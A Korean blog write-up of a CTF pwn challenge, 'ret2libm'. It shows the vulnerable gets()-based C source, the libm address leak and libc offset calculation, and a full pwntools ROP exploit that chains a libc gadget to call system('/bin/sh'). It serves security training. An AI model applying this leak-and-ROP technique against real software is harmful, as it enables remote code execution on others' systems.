728x90
반응형
1. intro
2. code 및 분석
2.1. code
#include <math.h>
#include <stdio.h>
// gcc -fno-stack-protector -lm
int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char yours[8];
printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");
return 0;
}
2.2. 분석
제공된 압축 파일을 풀어보면 libc, libm, 문제파일, 소스코드가 포함되어있다.
프로그램을 실행해보면 아래와 같이 특정 주소를 주고 입력을 받은 후 종료된다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
overflow가 발생하여 main의 ret address overwrite가 가능하다.
3.2. 공격 준비
우선 patchelf를 통해 libc, libm, ld 파일을 다시 링킹 시켜주었다.
간단히 bof를 생각했으나 보호기법을 확인해보니 NX가 걸려있었다.
이에 rop으로 가닥을 잡았다.
더불어 기본적으로 출력해주는 주소의 위치를 확인해보았더니 libm library의 특정 지점을 가리키고 있었고,
이 주소는 libc와 일정한 offset을 가지는 것을 확인하였다.
libc base address를 알게 되었으니 적절한 gadget을 구해서 rop 하면 되는데,
libc 내에 pop rax; pop rdi; call rax가 있어 이걸로 system(/bin/sh)를 실행하였다.
4. exploit
from pwn import *
'''
p = process('./chal')
'''
p = remote('ret2libm.chal.irisc.tf', 10001)
print(p.recvuntil(b'Solution'))
po = input()
p.sendlineafter(b'? ',po)
p.recvuntil(b': ')
leak = int(p.recvuntil(b'\n')[:-1],16)
print('leak addr = ',hex(leak))
libc_base = leak - 0x422cf0
print('base addr = ', hex(libc_base))
binsh = libc_base + 0x1b3d88
print('binsh addr = ', hex(binsh))
raxrdicall = libc_base + 0x000000000012161b
print('gadget addr = ', hex(raxrdicall))
system = libc_base + 0x4f420
print('system addr = ', hex(system))
ret = system+44
pay = b'A'*16
#pay += p64(ret)
pay += p64(raxrdicall)
pay += p64(system) + p64(binsh)
p.sendlineafter(b'? ',pay)
p.interactive()
마지막에 p64(ret) 부분은 로되리안 때문에 movaps 가능성이 있어 추가로 삽입한 것이다.
+ 아무리 해도 서버에서 셀이 안따지기에 운영진에게 문의했더니 페이로드가 잘 작동한다며 플래그를 별도로 받았다.
무조건 풀려고 하지말고 가끔은 문의해보자 -_-
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
KnightCTF 2023 - KrackMe 1.0 (0) | 2023.01.23 |
---|---|
idekCTK 2022 - Typop (0) | 2023.01.16 |
Hackappatoi CTF 2022 - [PWN] heap baby v2 (0) | 2022.12.11 |
Hackappatoi CTF 2022 - [PWN] Endless Queue (0) | 2022.12.10 |
Hackappatoi CTF 2022 - [PWN] Sanity drink (0) | 2022.12.10 |